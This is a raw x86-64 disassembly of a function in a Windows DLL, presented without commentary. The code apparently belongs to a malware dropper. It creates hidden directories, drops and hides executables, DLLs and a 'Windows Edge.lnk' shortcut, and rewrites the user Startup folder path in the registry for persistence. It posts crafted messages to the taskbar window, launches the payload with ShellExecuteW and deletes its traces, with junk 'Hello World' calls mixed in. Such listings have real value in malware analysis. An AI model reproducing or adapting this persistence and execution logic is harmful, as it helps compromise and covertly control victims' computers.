lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004d09
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000583b
call fcn.180016df8
mov rbx, qword [r15 + 8]
xor dl, dl
cmp qword [r15], rbx
jne 0x180004d61
mov rdx, qword [rbp + 0x118]
cmp rbx, rdx
je 0x180004db7
mov ecx, dword [rbp + 0x128]
or ecx, 0x60
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, r12
lea r8, [rbp + 0x130]
mov rcx, rbx
call fcn.18000a340
test al, al
jne 0x180004dc3
mov dl, 1
mov r12, qword [rbp + 0x120]
mov eax, dword [rbp + 0x128]
bts eax, 8
mov dword [rbp + 0x128], eax
mov ecx, eax
bts ecx, 0xe
test dl, dl
cmove ecx, eax
mov rax, qword [rbp + 0x110]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], ecx
mov r9, r12
lea r8, [rbp + 0x130]
mov rdx, qword [rbp + 0x118]
mov rcx, rbx
call fcn.18000a340
test al, al
jne 0x180004dc3
mov r14, qword [rbp + 0x148]
mov r15, qword [rbp + 0x140]
xor r12d, r12d
mov qword [rbp + 0x120], r12
jmp 0x180004dd8
mov r14, qword [rbp + 0x148]
mov r15, qword [rbp + 0x140]
mov r12, qword [rbp + 0x120]
test rdi, rdi
movabs rdx, 0xaaaaaaaaaaaaaaab
je 0x1800046a0
sub rsi, rdi
sar rsi, 3
imul rsi, rdx
lea rdx, [rsi + rsi*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x180004e23
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005841
mov rcx, rdi
call fcn.180016df8
jmp 0x180004694
xor edi, edi
mov qword [rbp - 0x10], rdi
mov qword [rbp], rdi
mov qword [rbp + 8], 7
mov word [rbp - 0x10], di
lea r8d, [rdi + 0xe]
lea rdx, str.C:ProgramData
lea rcx, [rbp - 0x10]
call fcn.180009410
nop
mov r8, r13
lea rdx, str._anonymous
lea rcx, [rbp - 0x10]
call fcn.18000ba60
mov qword [rbp - 0x50], rdi
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], rdi
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x50], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x40], xmm1
mov qword [rax + 0x10], rdi
mov qword [rax + 0x18], 7
mov word [rax], di
mov rdx, qword [rbp + 8]
cmp rdx, 8
jb 0x180004ed8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180004ed3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800057e1
call fcn.180016df8
mov qword [rbp], rdi
mov qword [rbp + 8], 7
mov word [rbp - 0x10], di
lea rdx, [rbp - 0x50]
lea rcx, [rbp + 0x1a0]
call fcn.18000a1f0
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rcx, qword [rbp - 0x50]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 8
cmovae rcx, qword [rbp + 0x1a0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rbx, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae rbx, qword [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180004f58
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x1a0]
cmp qword [rbp + 0x1b8], 8
cmovae rbx, qword [rbp + 0x1a0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180004f8b
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae r8, qword [rbp - 0x50]
lea rdx, str._sRunFile.exe
lea rcx, [rbp + 0xba0]
call fcn.18000a2e0
lea r8, [rbp - 0x50]
cmp qword [rbp - 0x38], 8
cmovae r8, qword [rbp - 0x50]
lea rdx, str._smhRCPlayer_dll.dll
lea rcx, [rbp + 0xfc0]
call fcn.18000a2e0
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 8
cmovae rcx, qword [rbp + 0xc8]
lea rdx, [rbp + 0xba0]
call fcn.180002f30
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 8
cmovae rcx, qword [rbp + 0xa8]
lea rdx, [rbp + 0xfc0]
call fcn.180002f30
lea rcx, [rbp + 0xba0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x180005037
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xba0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rcx, [rbp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000505b
or eax, 2
mov edx, eax
lea rcx, [rbp + 0xfc0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rdx, [rbp - 0x50]
lea rcx, [rbp - 0x30]
call fcn.18000a1f0
cmp qword [rax + 0x18], 8
jb 0x180005072
mov rax, qword [rax]
mov r8, rax
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x11d0]
call fcn.18000a2e0
lea rcx, [rbp - 0x30]
call fcn.180008a20
lea r8, [rbp + 0xba0]
lea rdx, str.__s_
lea rcx, [rbp + 0x2040]
call fcn.18000a2e0
lea r8, [rbp + 0x2040]
lea rdx, [rbp + 0xba0]
lea rcx, [rbp + 0x11d0]
call fcn.180003670
lea rcx, [rbp + 0x11d0]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800050e9
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x11d0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call fcn.180002ca0
test eax, eax
je 0x180005463
lea rax, [rbp + 0x13e0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
lea r8, [rbp + 0x13e0]
lea rdx, str._sTCLS
lea rcx, [rbp + 0x460]
call fcn.18000a2e0
xor edx, edx
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000515f
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea r8, [rbp + 0x460]
lea rdx, str._sclient.exe
lea rcx, [rbp + 0x780]
call fcn.18000a2e0
lea r8, [rbp + 0x460]
lea rdx, str._smsvcp100.dll
lea rcx, [rbp + 0x1c20]
call fcn.18000a2e0
lea r8, [rbp + 0x460]
lea rdx, str._smsvcr100.dll
lea rcx, [rbp + 0x1a10]
call fcn.18000a2e0
lea r8, [rbp + 0x460]
lea rdx, str._sk360.exe
lea rcx, [rbp + 0x1800]
call fcn.18000a2e0
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 8
cmovae rcx, qword [rbp + 0x1e0]
lea rdx, [rbp + 0x780]
call fcn.180002f30
lea rcx, [rbp + 0x260]
cmp qword [rbp + 0x278], 8
cmovae rcx, qword [rbp + 0x260]
lea rdx, [rbp + 0x1c20]
call fcn.180002f30
lea rcx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 8
cmovae rcx, qword [rbp + 0x1c0]
lea rdx, [rbp + 0x1a10]
call fcn.180002f30
call fcn.1800034e0
mov r9, rax
mov r8, qword [rbp + 0x24c0]
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x990]
call fcn.180001330
lea r8, [rbp + 0x780]
lea rdx, str.__s_
lea rcx, [rbp + 0x15f0]
call fcn.180001330
lea r8, [rbp + 0x15f0]
lea rdx, [rbp + 0x780]
lea rcx, [rbp + 0x990]
call fcn.180003670
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rcx, [rbp + 0x990]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
movzx esi, ax
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
lea rdx, [0x18004bc5f]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rdi, rax
lea rdx, str.Hello_World__n
call fcn.180009f40
mov ebx, 0x641
nop word [rax + rax]
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov r9, rsi
mov r8, rbx
mov edx, 0x4e9
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
inc rbx
sub r13, 1
jne 0x180005390
lea rdx, [0x18004bd70]
call fcn.180009f40
lea rdx, str.Hello_World__n
call fcn.180009f40
xor r9d, r9d
mov edx, 0x312
lea r8d, [r13 + 5]
mov rcx, rdi
call qword [sym.imp.USER32.dll_PostMessageW]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.1800035d0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x990]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x1a10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x1c20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x1800]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
call fcn.180003770
xor edi, edi
jmp 0x18000563b
call fcn.1800034e0
mov r9, rax
lea r8, [rbp + 0x1e30]
lea rdx, str._s_s.exe
lea rcx, [rbp + 0x460]
call fcn.18000a2e0
lea r8, [rbp + 0x1e30]
lea rdx, str._sThunder.exe
lea rcx, [rbp + 0x1800]
call fcn.18000a2e0
lea rcx, [rbp + 0x220]
cmp qword [rbp + 0x238], 8
cmovae rcx, qword [rbp + 0x220]
lea rdx, [rbp + 0x460]
call fcn.180002f30
lea rcx, [rbp + 0x200]
cmp qword [rbp + 0x218], 8
cmovae rcx, qword [rbp + 0x200]
lea rdx, [rbp + 0x1800]
call fcn.180002f30
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 8
cmovae rcx, qword [rbp + 0xc8]
lea rdx, [rbp + 0xdb0]
call fcn.180002f30
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 8
cmovae rcx, qword [rbp + 0xa8]
lea rdx, [rbp + 0x2250]
call fcn.180002f30
mov rbx, qword [rbp + 0x24c0]
mov r8, rbx
lea rdx, str._sWindows_Edge.lnk
lea rcx, [rbp + 0x990]
call fcn.180001330
lea r8, [rbp + 0xdb0]
lea rdx, str.__s_
lea rcx, [rbp + 0x15f0]
call fcn.180001330
lea r8, [rbp + 0x15f0]
lea rdx, [rbp + 0xdb0]
lea rcx, [rbp + 0x990]
call fcn.180003670
lea rcx, [rbp + 0x990]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1800055a0
or eax, 2
mov edx, eax
lea rcx, [rbp + 0x990]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call fcn.1800034e0
mov r9, rax
mov r8, rbx
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0x780]
call fcn.180001330
mov r8, rbx
lea rdx, str.add__HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders___v__Startup___t_REG_EXPAND_SZ__d___s___f
lea rcx, [rbp + 0x13e0]
call fcn.180001330
lea r8, [rbp + 0x13e0]
lea rdx, [rbp + 0x460]
lea rcx, [rbp + 0x780]
call fcn.180003670
mov dword [rsp + 0x28], edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp + 0x780]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x780]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
lea rcx, [rbp + 0x460]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
call fcn.180003770
nop
lea rcx, [rbp + 0x1a0]
call fcn.180008a20
nop
mov r8, qword [rbp - 0x38]
cmp r8, 8
jb 0x180005662
inc r8
mov rdx, qword [rbp - 0x50]
lea rcx, [rbp - 0x50]
call fcn.180009c20
mov qword [rbp - 0x40], rdi
mov qword [rbp - 0x38], 7
mov word [rbp - 0x50], di
test r15, r15
je 0x18000569c
mov r8, qword [rbp + 0x150]
sub r8, r15
sar r8, 3
movabs rax, 0xaaaaaaaaaaaaaaab
imul r8, rax
mov rdx, r15
call fcn.1800097d0
nop
lea rcx, [rbp + 0x310]
call fcn.180008f50
mov rcx, qword [rbp + 0x330]
test rcx, rcx
je 0x1800056ce
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800056ce
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov r8, qword [rbp + 0x60]
cmp r8, 8
jb 0x1800056e8
inc r8
mov rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0x48]
call fcn.180009c20
mov qword [rbp + 0x58], rdi
mov qword [rbp + 0x60], 7
mov word [rbp + 0x48], di
lea rcx, [rsp + 0x70]
call fcn.1800087c0
nop
lea rcx, [rbp + 0x30]
call fcn.1800087c0
nop
lea rcx, [rbp + 0x670]
call fcn.180005850
nop
lea rcx, [rbp + 0x68]
call fcn.180008a20
nop
lea rcx, [rbp + 0x1c0]
call fcn.180008a20
nop
lea rcx, [rbp + 0x260]
call fcn.180008a20
nop
lea rcx, [rbp + 0x1e0]
call fcn.180008a20
nop
lea rcx, [rbp + 0x200]
call fcn.180008a20
nop
lea rcx, [rbp + 0x220]
call fcn.180008a20
nop
lea rcx, [rbp + 0xa8]
call fcn.180008a20
nop
lea rcx, [rbp + 0xc8]
call fcn.180008a20
nop
lea rcx, [rbp + 0x10]
call fcn.180008a20
nop
lea rcx, [rbp + 0x240]
call fcn.180008a20
nop
lea rcx, [rbp + 0x3b0]
call fcn.180008a20
nop
lea rcx, [rbp + 0x280]
call fcn.180008a20
nop
lea rcx, [rbp + 0xe8]
call fcn.180008a20
lea r11, [rsp + 0x2580]
mov rbx, qword [r11 + 0x58]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
nop
call fcn.180023280
int3